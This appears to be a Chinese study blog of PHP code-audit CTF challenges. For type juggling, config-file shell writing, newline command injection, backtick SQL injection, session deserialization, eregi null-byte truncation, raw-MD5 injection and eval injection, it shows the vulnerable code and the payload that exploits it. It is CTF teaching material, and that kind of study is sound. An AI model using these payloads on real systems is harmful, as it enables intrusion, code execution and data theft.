Background

最近看了看师傅们的代码审计项目,因为自己对php的读代码能力实在是偏弱,所以趁着这个项目好好提升一下代码审计能力

phpbug #69892

<?php
$users = array(
        "0:9b5c3d2b64b8f74e56edec71462bd97a" ,
        "1:4eb5fb1501102508a86971773849d266",
        "2:facabd94d57fc9f1e655ef9ce891e86e",
        "3:ce3924f011fe323df3a6a95222b0c909",
        "4:7f6618422e6a7ca2e939bd83abde402c",
        "5:06e2b745f3124f7d670f78eabaa94809",
        "6:8e39a6e40900bb0824a8e150c0d0d59f",
        "7:d035e1a80bbb377ce1edce42728849f2",
        "8:0927d64a71a9d0078c274fc5f4f10821",
        "9:e2e23d64a642ee82c7a270c6c76df142",
        "10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
        $user = explode(":", $user);
        if ($input === $user) {
                $uid = $input[0] + 0;
                $valid_user = true;
        }
}

if (!$valid_user) {
        die("not a valid user\n");
}

if ($uid == 0) {

        echo "Hello Admin How can I serve you today?\n";
        echo "SECRETS ....\n";

} else {
        echo "Welcome back user\n";
}

首先看看输出,发现应该是这里 拿到admin权限代表成功
所以关键代码在这里

 if ($uid == 0) {
    
            echo "Hello Admin How can I serve you today?\n";
            echo "SECRETS ....\n";
    
    } else {
            echo "Welcome back user\n";
    }

当uid==0的时候 得到admin权限。所以我们看看uid是什么
首先往前通读代码

$users = array(
            "0:9b5c3d2b64b8f74e56edec71462bd97a" ,
            "1:4eb5fb1501102508a86971773849d266",
            "2:facabd94d57fc9f1e655ef9ce891e86e",
            "3:ce3924f011fe323df3a6a95222b0c909",
            "4:7f6618422e6a7ca2e939bd83abde402c",
            "5:06e2b745f3124f7d670f78eabaa94809",
            "6:8e39a6e40900bb0824a8e150c0d0d59f",
            "7:d035e1a80bbb377ce1edce42728849f2",
            "8:0927d64a71a9d0078c274fc5f4f10821",
            "9:e2e23d64a642ee82c7a270c6c76df142",
            "10:70298593dd7ada576aff61b6750b9118"
    );

这是一个用户数组 解这些md5发现只有第五个可以解开 得到hund

 $valid_user = false;
    
    $input = $_COOKIE['user'];
    $input[1] = md5($input[1]);
    
    foreach ($users as $user)
    {
            $user = explode(":", $user);
            if ($input === $user) {
                    $uid = $input[0] + 0;
                    $valid_user = true;
            }
    }

首先把这个变量置于false $valid_user = false
用input变量接受用cookie传输的user的键值 然后把用户数组的第二项进行md5加密,进行比对user的,然后置为true
理清思路
获得权限需要这两个条件
1.user[0]对应第一个用户
2.user[1]对应第一个明文
但是我们第一个明文解不出来只有第五个可以解出来
这时我们就要用另外一种思路了,uid为0,不一定就是匹配到了users列表中的第一位用户。如果我们的user[0]没有值,又匹配到了users列表中的任意一个用户,不就可以达到uid为0,valid_user为true吗
那么我们可以不设置input[0]的值,而是用input[4294967296]来代替,然后比较的时候时用的input[4294967296]和input[1]来和列表中的用户比较,而uid又是通过input[0]+0来得到的,这样就完美绕过了它的限制。
bug成因:php运行在32位系统的会将数组的键 0x100000000=2^32=4294967296 变换为字符串,而在64位系统会直接 数组中的键4294967296 为unsigned long 类型 且等同于0
所以payload:Cookie: user[4294967296]=5;user[1]=hund;

类型强制转换那点事

<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){ 
        if(!is_numeric($_GET['time'])){ 
                echo 'The time must be number.'; 
        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ 
                        echo 'This time is too short.'; 
        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ 
                        echo 'This time is too long.'; 
        }else{ 
                sleep((int)$_GET['time']); 
                echo $flag; 
        } 
                echo '<hr>'; 

简单的判断逻辑 get传进来的数字 要介于这两个之间 But 后面有个sleep()函数 要等到这个秒数到了再拿flag 黄花菜都凉了
这里面的主要思路是利用16进制
5184001是一个在两个数之间的数字,我们进行16进制转换 0x5184001 16进制和10进制是可以直接进行比较的 但是(int)这个强制类型转换转换16进制时候只能识别前面的0 所以达到秒出flag的目的
写个小demo

<?php
$time = "5184001";
echo (int)$time;
 
echo "<br><br>";
 
$time_hex = "0x4f1a01";
echo (int)$time_hex;

1.png
很容易看出结果

绕过配置写shell

index.php

<?php
error_reporting(0);
$str = addslashes($_GET['option']);
$file = file_get_contents('./option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./option.php', $file);

?>

介绍这个addslashes函数 他会把'转译成'
这段代码的逻辑通过get传参进入 然后进行正则匹配替换 写入option.php这个文件
option.php

<?php
$option='aaa';
?>

payload绕过思路

1

aaa';%0aphpinfo();//
%0a是换行的意思
思路就是通过换行和注释能够成功执行恶意语句
我们传参执行这个
test1.png
发现文件内容变成了这样
12.png
我们正常的思路发现恶意代码已经被写入里面了 但现在因为'被用'替换了 我们无法正常执行,很简单,我们再次提交正常内容
12.png
可以看见我们的代码已经可以成功执行了
123.png

2

preg_replace()函数的问题
payload:aaa\';%0aphpinfo();//
'经过addslashes会变成什么呢? 我们写一个小demo
1.png
发现会变成\'
但是最后测试发现会变成\'
这就是preg_replace的问题
所以最后会写成这样子

$option='aaa\\';phpinfo()//';

3

参考文章:https://blog.csdn.net/qq_33020901/article/details/78951543
addslashes 和preg_replace()问题
第一次传入;phpinfo();此时文件内容为:

$option=';phpinfo();';

%00被addslashes()转为0,而0在preg_replace函数中会被替换为“匹配到的全部内容”,此时preg_replace要执行的代码如下

preg_replace('|$option='.*';|',"$option='0';",$file);

22.png

最终结果变成这个样子
我们可以发现是成功执行了

如何不用数字和字母生成一个webshell?

位运算以及一些特殊字符的解
师傅们tql
https://chybeta.github.io/2017/07/15/%E4%B8%80%E9%81%93%E5%A5%BD%E7%8E%A9%E7%9A%84webshell%E9%A2%98/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#_4

当命令执行的分隔符被ban

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

用REQUEST接受IP 这应该是一个ping的接口 我们常见的执行命令的; &等都被替换成空 这里有个奇妙的命令%0a,我们在之前的题目里运用过
payload:127.0.01?%0als

0e开头的md5问题

<?php
$output = "";
if (isset($_GET['code'])) {
  $content = file_get_contents(__FILE__);
  $content = preg_replace('/FLAG\-[0-9a-zA-Z_?!.,]+/i', 'FLAG-XXXXXXXXXXXXXXXXXXXXXXX', $content);
  echo '<div class="code-highlight">';
  highlight_string($content);
  echo '</div>';
}
if (isset($_GET['pass'])) {
  if(!preg_match('/^[^\W_]+$/', $_GET['pass'])) {
    $output = "Don't hack me please :(";
  } else {
    $pass = md5("admin1674227342");
    if ((((((((($_GET['pass'] == $pass)))) && (((($pass !== $_GET['pass']))))) || ((((($pass == $_GET['pass'])))) && ((($_GET['pass'] !== $pass)))))))) { // Trolling u lisp masta
      if (strlen($pass) == strlen($_GET['pass'])) {
        $output = "<div class='alert alert-success'>FLAG-XXXXXXXXXXXXXXXXXXXXXXX</div>";
      } else {
        $output = "<div class='alert alert-danger'>Wrong password</div>";
      }
    } else {
      $output = "<div class='alert alert-danger'>Wrong password</div>";
    }
  }
}
?>

admin1674227342的md5值是0e463854177790028825434984462555
发现这个md5是0e开头的 不得不提一下0e的特性
因为0e会被当成科学计数法 0 x10的多少次方还是0
并且在php弱类型中 ==不会检查条件式的表达式类型,所以只要注意好strlen控制好位数即可。

奇特的sql注入

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

首先来分析一下代码

$table = $_GET['table']?$_GET['table']:"test";

这个意思是用变量table接受传进来的table的值,如果没传值就默认为test

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

mysqli_query进行对数据库的查询 如果失败就调用Hacker函数

 $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];

放入数据库中查询,输出第一条数据
12.png
键入test可以看到还是flag{xx}
键入其他可以看到 hello hacker,猜测到可能是调用hacker函数了
12.png
所以就是反引号的问题了

反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

所以我们明白
当table=test时,由于库中存在secret_test表,因此mysqli_query()函数返回成功,继续向下执行,从而输出了flag{xxx}
当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序
我们用payload查库

payload: ?table=test` ` union select database()

在查询语句中就变成了这样

mysqli_query($mysqli,"desc `secret_test` ` union select database()`") or Hacker();
$sql = "select 'flag{xxx}' from secret_test` ` union select database()";
$ret = sql_query($sql);
echo $ret[0];
根据师傅所说两个反

引号相当于空格
所以我们正常闭合进行查语句一把梭

` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1

` `union select group_concat(flagUwillNeverKnow) from secret_flag

QQ图片20200408162741.png

参考链接:https://blog.csdn.net/qq_42939527/java/article/details/100129254

Session反序列化

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
   public $mdzz;
   function __construct()
   {
       $this->mdzz = 'phpinfo();';
   }
   function __destruct()
   {
       eval($this->mdzz);
   }
}
if(isset($_GET['phpinfo']))
{
   $m = new OowoO();
}
else
{
   highlight_string(file_get_contents('index.php'));
}
?>

关键点:php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
看了师傅们的总结,大致明白了利用过程
1.写一个表单上传,传一个序列化进去查询地址
2.查询flag的地址,重新传一个读取flag文件

本地建立个test.html
我们这里是用PHP_SESSION_UPLOAD_PROGRESS来改变session

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

写一个反序列化文件
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{

public $mdzz='print_r(scandir(dirname(__FILE__)));';

}
$obj = new OowoO();
echo serialize($obj);
?>

通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
|是session的意思
就这样一步一步可以查到flag文件的内容

ereg那点事

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

看看要求 首先$id $a 和$b都需要用GET赋值 $data调用了file_get_contents 所以我们可以让$a用php://input来进行伪协议,然后post提交就可绕过第一个 id==0 因为php的弱类型 如果id为字符串为0 $b的长度要求大于5 然后就是eregi这个点
eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111,eregi遇到%00会默认字符串结束 所以我们构造
12.png
这题还没完 因为爆出来的是一个目录,然后发现默认值为id=1 所以发现可以进行sql注入
这题简单看了一下过滤了空格 用/*/也不行 那就可以用/1*/这种数字型,过滤常见的union select 我们可以用双写绕过
首先order by查下列数
1.png
发现是3列 然后一把梭查回显位
1.png
发现回显位是3
1.png
查库名是test
1.png
查表名content
这里面查字段直接用'content'不行 需要转16进制
1.png
get flag
1.png

加密后的md5注入

<?php 
    
error_reporting(0);

$link = mysql_connect('localhost', 'root', '');
if (!$link) { 
    die('Could not connect to MySQL: ' . mysql_error()); 
} 

// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
    echo 'select db error';
    exit();
}

// 执行sql
$password = $_GET['pwd'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?>

发现查询的语句进行md5加密
ffifdyop
主要就是这个奇妙的值,经过md5加密后就是 or’6<乱码>
他会把密码给闭合掉,就和万能密码一样
成功get flag
1.png

eval函数的危险

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

思路主要就是闭合这个eval然后自己写个eval
看了看师傅们的payload:?hello=);eval(phpinfo());//
var_dump之后
string(22) ");eval($_POST['A']);//" 会变成这个样子
//闭合后面的"已经非常常见了
后来发现还有一种payload:);eval($_GET[c]&c=phpinfo();
会变成这种 eval("string(17) ");eval($_GET[c]" string(0) "" ");
tqltql

php json

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
       ($a["bar1"]>2016)?$v1=1:NULL;
   }
   if(is_array(@$a["bar2"])){
       if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
       $pos = array_search("nudt", $a["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($a["bar2"] as $key=>$val){
           $val==="nudt"?die("nope"):NULL;
       }
       $v2=1;
   }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
   }
}
if($v1 && $v2 && $v3){
   include "flag.php";
   echo $flag;
}
?>

首先看一看输出flag的条件 v1 v2 v3都不为0 ,看看上面的代码发现完成三个条件

v1

$a=(array)json_decode(@$_GET['foo']);
    if(is_array($a)){
       is_numeric(@$a["bar1"])?die("nope"):NULL;
       if(@$a["bar1"]){
           ($a["bar1"]>2016)?$v1=1:NULL;
       }

首先是个json设置 我们知道js的语法是{"aa":xxx}这种的
然后看get用foo传参 $a["bar1"]大于2016 我们用弱类型变成2017a 设置v1=1

v2

if(is_array(@$a["bar2"])){
    if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
    $pos = array_search("nudt", $a["a2"]);
    $pos===false?die("nope"):NULL;
    foreach($a["bar2"] as $key=>$val){
        $val==="nudt"?die("nope"):NULL;
    }
    $v2=1;
}

设定$a["bar2"]是个数组 元素的个数为5个,同时$a"bar2"是数组,所以我们这么设置
$a["bar2"] = [[],2,3,4,5] 然后要求设置这个 $a["a2"] = “nudt”
这里面因为是===严格比较 所以只能这么设置
结合前两步的payload如下:

 foo={"bar1":"2017a","bar2":[[],2,3,4,5],"a2":["nudt"]}

v3

$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
   }
}

首先看到 分别用 cat和dog来接收值 strcmp比较c和d 我们知道strcmp比较数组会为false 所以设置cat[1]为数组
eregi对拼接后的字符串$d.$c[0]进行正则匹配,若匹配到则die掉。而下一步又要求拼接字符串$c[0].$d中要有字符串“htctf2016”。这里利用%00对eregi的截断功能
strpos还要求hctf不能在开头
payload:cat[0]=ahtctf2016&cat[1][]=&dog=%00